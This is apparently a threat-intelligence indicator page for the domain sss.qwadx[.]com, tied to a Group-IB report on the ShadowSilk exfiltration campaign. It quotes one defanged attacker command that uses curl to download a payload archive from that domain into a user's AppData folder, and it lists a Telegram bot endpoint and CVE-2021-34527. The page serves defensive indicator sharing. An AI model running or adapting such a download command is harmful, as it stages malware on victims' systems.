sss.qwadx[.]comDomain

Reported by 1 independent source · first reported 27 Aug 2025 by Group-IB · last reported 27 Aug 2025

Last reported 13 months ago

What the reports say

1 report, newest first · the exact sentence from each

“/goXXX cmd /c curl -o C:\users\user\appdata\local\spoolsvc.rar hxxps://sss.qwadx[.]com/spoolsvc.rar”

Group-IBVendor27 Aug 2025
ShadowSilk: A Cross-Border Binary Union for Data Exfiltration

named in the same reports

Copy this indicator · defanged

1 indicator, defanged, one per line

hxxps://api.telegram[.]org/bot

Also named with it: CVE-2021-34527

Thanks — we review every report.

Report a wrong value